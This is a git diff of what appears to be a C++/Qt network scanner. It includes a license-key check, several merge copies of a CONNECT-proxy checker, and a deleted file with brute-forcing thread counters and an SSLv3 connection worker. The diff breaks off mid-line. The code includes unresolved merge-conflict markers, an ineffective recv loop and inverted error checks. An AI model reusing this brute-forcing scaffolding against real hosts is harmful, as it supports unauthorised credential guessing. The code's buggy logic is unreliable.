ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckProxy_Th.cpp.BACKUP.3053.cpp b/CheckProxy_Th.cpp.BACKUP.3053.cpp new file mode 100644 index 0000000..c8c12de --- /dev/null +++ b/CheckProxy_Th.cpp.BACKUP.3053.cpp @@ -0,0 +1,208 @@ +#include "CheckProxy_Th.h" +#include "externData.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(pSock == INVALID_SOCKET) + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +<<<<<<< HEAD + + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 1; + + CSSOCKET(pSock); + break; + } + else + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + break; + } + else + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + } + else + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/CheckProxy_Th.cpp.BASE.3053.cpp b/CheckProxy_Th.cpp.BASE.3053.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckProxy_Th.cpp.LOCAL.3053.cpp b/CheckProxy_Th.cpp.LOCAL.3053.cpp new file mode 100644 index 0000000..c87746d --- /dev/null +++ b/CheckProxy_Th.cpp.LOCAL.3053.cpp @@ -0,0 +1,154 @@ +#include "CheckProxy_Th.h" +#include "externData.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(pSock == INVALID_SOCKET) + { + + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); + + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); + + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); + + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + + + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + + proxyEnabledFlag = 1; + + CSSOCKET(pSock); + break; + } + else + { + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + break; + } + else + { + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + } + else + { + + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/CheckProxy_Th.cpp.REMOTE.3053.cpp b/CheckProxy_Th.cpp.REMOTE.3053.cpp new file mode 100644 index 0000000..eb7c8b0 --- /dev/null +++ b/CheckProxy_Th.cpp.REMOTE.3053.cpp @@ -0,0 +1,154 @@ +#include "CheckProxy_Th.h" +#include "externData.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(pSock == INVALID_SOCKET) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 1; + + CSSOCKET(pSock); + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/connector.cpp b/connector.cpp index e33d121..31059bf 100644 --- a/connector.cpp +++ b/connector.cpp @@ -8,7 +8,7 @@ #include "externData.h" #include -#if defined(Q_OS_WIN32) +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include #include #pragma comment(lib, "iphlpapi.lib") diff --git a/connector.cpp.autosave b/connector.cpp.autosave deleted file mode 100644 index 4d8530e..0000000 --- a/connector.cpp.autosave +++ /dev/null @@ -1,2829 +0,0 @@ -#include "STh.h" -#include -#include -#include -#include "mainResources.h" -#include "externFunctions.h" -#include "externData.h" -#include - -#if defined(Q_OS_WIN32) -#include -#include -#pragma comment(lib, "iphlpapi.lib") -#endif -int gMaxBrutingThreads = 200; -fd_set write_fs; - - -int _countFTPDirectories(char *recvBuff){ - if(strcmp(recvBuff, "dummy\r\n") == 0) return 0; - int dirCounter = 0; - if(recvBuff[strlen(recvBuff) - 1] != '\n') strcat(recvBuff, "\n"); - char *dirPtr = strstr(recvBuff, "\n"); - while(dirPtr != NULL){ - ++dirCounter; - dirPtr = strstr(dirPtr + 1, "\n"); - }; - return dirCounter; -} - -void BConInc() -{ -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -__asm - { - lock inc BrutingThrds; - }; -#else - asm("lock incl BrutingThrds"); -#endif - - stt->doEmitionChangeBA(QString::number(BrutingThrds)); -} - -void BConDec() -{ - if(BrutingThrds > 0) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - __asm - { - lock dec BrutingThrds; - }; -#else - asm("lock decl BrutingThrds"); -#endif - } - - stt->doEmitionChangeBA(QString::number(BrutingThrds)); - -} - -bool debugWriteWait = false; -void _DebugWriteHTMLToFile(char *request, char *buff) -{ - while(debugWriteWait) Sleep(50); - debugWriteWait = true; - FILE *df = fopen("./debugData.txt", "a"); - - if(df != NULL) - { - fputs(request, df); - fputs("==========================\n", df); - fputs(buff, df); - fputs("\n==========================\n==========================\n\n", df); - fclose(df); - } - else - { - stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); - }; - debugWriteWait = false; -} -unsigned char tl(unsigned char d) -{ - if(d >= 192 && d <= 223) - { - unsigned char y = d + 32; - return y; - } - else - { - return tolower(d); - }; -}; -int recvWT( - int Socket, - char *Buffer, - int Len, - long Timeout, - int *bTimedOut - ){ - fd_set ReadSet; - int n; - struct timeval Time; - - FD_ZERO(&ReadSet); - FD_SET(Socket,&ReadSet); - Time.tv_sec = Timeout; - Time.tv_usec = 0; - *bTimedOut = false; - n = select(Socket+1,&ReadSet,NULL,NULL,&Time); - if (n > 0) { /* got some data */ - return recv(Socket,Buffer,Len,0); - } - if (n == 0) { /* timeout */ - *bTimedOut = true; - } - return(n) ; /* trouble */ -} -std::string toLowerStr(const char *str) -{ - int tsz = strlen(str); - if(tsz == 1) - { - if(str[0] == 10) return "[No data!]"; - else return str; - } - else if(tsz > 1) - { - char * strr = new char[tsz+1]; - ZeroMemory(strr, tsz); - - for (int i = 0; i < tsz; i++) - { - strr[i] = tl(str[i]); - }; - - memset(strr + tsz, '\0', 1); - - std::string tstr = strr; - delete []strr; - return tstr; - }; - return ""; -}; -int OpenConnection(SOCKET *sock, const char *hostname, int port) -{ - struct hostent *host; - struct sockaddr_in addr; - if(strlen(hostname) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - if ( (host = gethostbyname(hostname)) == NULL ) - { - ++offlines; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); - return -1; - }; - *sock = socket(PF_INET, SOCK_STREAM, 0); - ZeroMemory(&addr, sizeof(addr)); - addr.sin_family = AF_INET; - addr.sin_port = htons(port); - addr.sin_addr.s_addr = *(long*)(host->h_addr); - if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) - { - ++offlines; - CSSOCKET(*sock); - return -1; - }; - return 0; -} - -void _baSSLWorker(char *ip, char *request, char *rvBuff) -{ - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - int result = OpenConnection(&sock, ip, 443); - if(result >= 0) - { - SSL *ssl = NULL; - ssl = SSL_new(ctx); /* create new SSL connection state */ - if(ssl != NULL) - { - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - if(SSL_connect(ssl)) - { - SSL_write(ssl, request, strlen(request)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - - char tempBuff[128] = {0}; - int x = 1; - int xx = 0; - - ZeroMemory(rvBuff, sizeof(rvBuff)); - while(xx < 512) - { - x = SSL_read(ssl, tempBuff, 